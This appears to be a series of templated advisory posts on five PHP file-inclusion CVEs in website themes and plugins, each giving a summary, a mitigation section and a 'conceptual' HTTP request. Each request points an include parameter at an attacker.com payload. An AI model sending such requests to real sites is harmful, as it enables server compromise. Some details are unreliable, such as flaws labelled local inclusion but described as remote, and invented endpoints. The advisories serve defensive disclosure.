Author: Ameeba

Overview

A severe vulnerability has been identified as CVE-2025-52814, affecting a PHP program in ovatheme BRW, a popular theme for numerous websites. The vulnerability is a type of PHP Remote File Inclusion (RFI) that can potentially allow an attacker to execute arbitrary PHP code on the server. This can lead to a complete system compromise or data leakage. Given the widespread usage of ovatheme BRW and the potential impact of this vulnerability, it is of utmost importance that administrators and developers take note and implement the necessary mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-52814
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

ovatheme BRW | n/a through 1.7.9

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when the ‘include’ or ‘require’ statements in PHP are manipulated to include files from a remote server. By exploiting this vulnerability, an attacker could include a malicious PHP script from a remote server and execute it within the context of the affected application. This could lead to unauthorized access, data leakage, or even a complete system compromise.

Conceptual Example Code

Here’s a conceptual example of how an attacker may exploit this vulnerability. The attacker could manipulate a URL or form input field that takes in the name of a file to be included as part of the PHP server-side scripting.

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker tricks the server into including ‘malicious_file.php’ from ‘attacker.com’ instead of a local file. The server then executes this malicious file leading to potential system compromise.

Recommended Mitigation

To mitigate this vulnerability, the vendor has released a patch. All users of ovatheme BRW should promptly update their software to the latest version. Alternatively, as a temporary mitigation, users can implement Web Application Firewall (WAF) rules or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.

Overview

The Common Vulnerabilities and Exposures system (CVE) serves as a catalog for publicly disclosed cybersecurity vulnerabilities. In this post, we will delve into the details of CVE-2025-52812, a critical vulnerability found in ApusWP Domnoo that allows PHP Local File Inclusion. This vulnerability, if exploited, could lead to system compromise or data leakage. It’s a serious vulnerability that affects all versions of Domnoo up to 1.49 and requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-52812
Severity: Critical (8.1 CVSS score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

ApusWP Domnoo | up to 1.49

How the Exploit Works

The vulnerability lies in the improper control of the filename for the include/require statement in the PHP program. An attacker can manipulate this to include files from remote servers, leading to PHP Remote File Inclusion (RFI). This means the attacker can execute arbitrary code or scripts disguised as a system file to gain unauthorized access to the system or exfiltrate data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. The attacker sends a malicious HTTP POST request to a vulnerable endpoint on the target server. The payload includes a URL that points to a malicious PHP file on a different server under the attacker’s control.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file_url": "http://attacker.com/malicious.php" }

In this example, `http://attacker.com/malicious.php` is the remote file that contains malicious code. When this request is processed by the server, the server includes the malicious file in its execution, causing potential compromise of the system.

Mitigation

To mitigate this vulnerability, users should apply the vendor patch as soon as possible. If applying the patch is not immediately feasible, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Remember, these mitigation measures only reduce the risk and do not eliminate it. The only surefire way to fix the vulnerability is to update to a secure version of the software.

Overview

The cybersecurity landscape is under a constant state of threat, with new vulnerabilities being discovered regularly. One such recent discovery is the CVE-2025-52809. This vulnerability affects the National Weather Service Alerts software, particularly versions up to and including 1.3.5, posing a significant threat to its users. It pertains to an Improper Control of Filename for Include/Require Statement in PHP Program, also known as PHP Remote File Inclusion vulnerability. The concerns emerging from this vulnerability involve the potential for system compromise and data leakage, which makes it crucial for affected users to take immediate action.

Vulnerability Summary

CVE ID: CVE-2025-52809
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

John Russell National Weather Service Alerts | Up to and including 1.3.5

How the Exploit Works

The vulnerability CVE-2025-52809 is a PHP Remote File Inclusion (RFI) exploit. In simple terms, it allows an attacker to inject a remote file (usually a malicious script) into a PHP program. This happens when the PHP application does not properly control the filename that is passed to the ‘include’ or ‘require’ statement. Consequently, an attacker can manipulate these statements to include files from a remote server, which then get executed by the server hosting the vulnerable application.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable.example.com

In the above example, the attacker tricks the server into executing a malicious script (`malicious_script.txt`) hosted on their own server (`attacker.com`).

Mitigation

To mitigate this vulnerability, users are strongly advised to apply the patch provided by the vendor. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure, which can help in detecting and blocking attempted exploits of this vulnerability. Furthermore, it is always a good practice to validate, sanitize, and limit input in ‘include’ and ‘require’ statements in PHP applications to prevent such vulnerabilities.

Overview

The cybersecurity world is facing a new challenge with the discovery of the CVE-2025-52808 vulnerability. This particular vulnerability poses a significant threat to RealtyElite, a widely used real estate software, from an unspecified version through to version 1.0.0. The vulnerability lies in the improper control of filename for include/require statement in PHP Program, allowing for PHP Local File Inclusion. The implications of exploitation are severe and could potentially lead to complete system compromise or data leakage, making this an issue of significant concern.

Vulnerability Summary

CVE ID: CVE-2025-52808
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RealtyElite | n/a through 1.0.0

How the Exploit Works

The vulnerability lies in the PHP code where the program does not properly sanitize user input before using it in a file inclusion operation. This can be exploited by a remote attacker to manipulate the filename argument of the include() or require() function calls to point to arbitrary PHP files on the server or remote locations, allowing the attacker to execute arbitrary PHP code and gain control of the system.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This is a pseudocode representation of a malicious HTTP request to the vulnerable endpoint:

POST /vulnerable_endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.com/malicious_script.php

In this example, the attacker is instructing the server to include and execute the malicious PHP script hosted on their server. Once the server processes this request, the malicious script is executed, potentially compromising the system or leading to data leakage.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch for RealtyElite as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can be configured to detect and block attempts to exploit this vulnerability, offering a protective barrier while a permanent fix is being prepared.

Overview

This post sheds light on a critical vulnerability, identified as CVE-2025-52729, that has been found in Thembay’s Diza. This vulnerability is related to the improper control of a filename for an Include/Require statement in a PHP program, also known as ‘PHP Remote File Inclusion’. This vulnerability holds a high potential for system compromise or data leakage, making it a significant threat to security professionals, system administrators, and organizations using Thembay’s Diza.

Vulnerability Summary

CVE ID: CVE-2025-52729
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Thembay’s Diza | All versions up to 1.3.9

How the Exploit Works

The exploit takes advantage of the improper control of a filename for an Include/Require statement in a PHP program within Thembay’s Diza. This vulnerability allows an attacker to include a file from a remote server that contains malicious PHP code. When this malicious code is run on the local server, it can lead to a complete system compromise or data leakage.

Conceptual Example Code

An attacker might exploit this vulnerability with a request similar to the following:

GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-site.com

This request would cause the server to fetch and execute the malicious PHP script hosted on the attacker’s server. This could give the attacker the same privileges as the server’s PHP process, potentially leading to a full system compromise.

Mitigation Measures

To mitigate this vulnerability, users are advised to apply the vendor’s patch as soon as it becomes available. Until the patch is released, users can implement a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and prevent the exploitation of this vulnerability. Users should also consider disabling the ability for PHP to include files from remote servers or limit it to trusted sources only.